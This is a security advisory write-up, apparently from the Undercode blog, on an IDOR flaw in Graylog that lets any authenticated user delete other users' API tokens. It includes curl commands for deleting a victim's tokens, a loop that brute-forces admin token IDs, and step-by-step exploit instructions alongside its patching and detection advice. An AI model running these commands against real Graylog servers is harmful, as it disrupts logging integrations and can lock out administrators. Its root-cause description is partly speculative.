Listen to this Post
The vulnerability resides in Graylog’s REST API endpoint responsible for revoking user access tokens. Graylog allows users to generate personal access tokens (PATs) for API authentication. Each token is assigned a unique identifier (UUID or integer). The revocation endpoint, typically accessible at `/api/users/{userId}/tokens/{tokenId}` or a similar path, is designed to allow a user to delete their own tokens. However, due to an Insecure Direct Object Reference (IDOR) flaw, the server does not perform adequate authorization checks to verify that the authenticated user owns the token being deleted. When an authenticated user sends a DELETE request to the revocation endpoint with a specific token ID, the server processes the request without validating the relationship between the requesting user and the token owner. This allows a low‑privileged user to delete tokens belonging to any other user, provided they can guess or enumerate a valid token identifier. Token identifiers are often sequential UUIDs or predictable hashes, making brute‑force or enumeration feasible. The attack does not expose the token’s secret value, so sensitive data is not leaked. However, successful exploitation leads to denial of service for integrations relying on those tokens, as legitimate services using the deleted token will lose access. Service accounts and administrator tokens are particularly high‑value targets, as their deletion can disrupt critical logging infrastructure or even lock out administrative users. The vulnerability affects Graylog versions 6.2.0 through 6.3.11, 7.0.0 through 7.0.6, and 7.1.0 through 7.1.1. The root cause is a missing ownership check in the `TokenResource` or `TokenService` class within the Graylog server codebase. The endpoint likely uses a parameter like `token_id` directly from the request path and deletes it from the database without first querying the token’s associated user and comparing it to the current authenticated principal. Authentication itself is required, so an attacker must have valid credentials. However, any authenticated user, regardless of role, can exploit this flaw. The attack vector is over the network via HTTP requests, with low complexity and no user interaction required. The confidentiality impact is none, but integrity and availability are partially affected (moderate severity). Graylog Cloud instances were patched quickly, and on‑premise users must upgrade to version 6.3.12, 7.0.7, or 7.1.2. No workarounds exist, but audit logs can help detect suspicious deletions. This vulnerability was reported by michaelddickenson and sreelim.
DailyCVE Form:
Platform: Graylog Server
Version: 6.2.0-6.3.11/7.0.0-7.0.6/7.1.0-7.1.1
Vulnerability : IDOR Token Deletion
Severity: Moderate
date: 2026-06-24
Prediction: Patched in 6.3.12
What Undercode Say:
Check Graylog version
curl -u admin:password http://graylog:9000/api/system/status | jq ‘.version’
List tokens for a target user (requires knowing username)
curl -u attacker:pass http://graylog:9000/api/users/victim/tokens
Delete a token belonging to victim (IDOR exploitation attempt)
curl -X DELETE -u attacker:pass http://graylog:9000/api/users/victim/tokens/TOKEN_ID
Monitor audit log for suspicious deletions
sudo grep “access token deleted from user” /var/log/graylog/audit.log
Brute‑force token IDs (example loop)
for id in {1..1000}; do curl -X DELETE -u attacker:pass http://graylog:9000/api/users/admin/tokens/$id; done
Exploit: (Educational Purposes!)
- Authenticate to Graylog with a low‑privileged user account.
- Enumerate valid usernames (e.g., admin, service‑account, or use existing knowledge).
- Obtain or guess a token ID – often predictable integers or UUIDs.
- Send a DELETE request to `/api/users/
/tokens/ ` with the attacker’s session cookie or basic auth. - Observe HTTP 200 or 204 response confirming deletion; the target’s token is now invalid.
- Repeat for multiple tokens to disrupt integrations or force credential renewal.
Protection:
Upgrade Graylog to version 6.3.12, 7.0.7, or 7.1.2 immediately. If upgrading is not possible, restrict API access to trusted IP ranges using a reverse proxy or firewall. Enable and regularly review the audit log for entries containing access token deleted from user. Monitor for unusual DELETE requests to the token endpoint. Consider rotating all service and admin tokens after patching to ensure any compromised tokens are replaced.
Impact:
Successful exploitation allows an authenticated attacker to delete access tokens belonging to any other user, including service accounts and administrators. This leads to loss of availability for any automated processes, scripts, or integrations relying on those tokens. Administrative lockout is possible if all admin tokens are deleted, potentially forcing manual password recovery. No token secrets are exposed, so confidentiality remains intact, but the integrity of the token management system is undermined, and legitimate operations may be disrupted until new tokens are issued.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
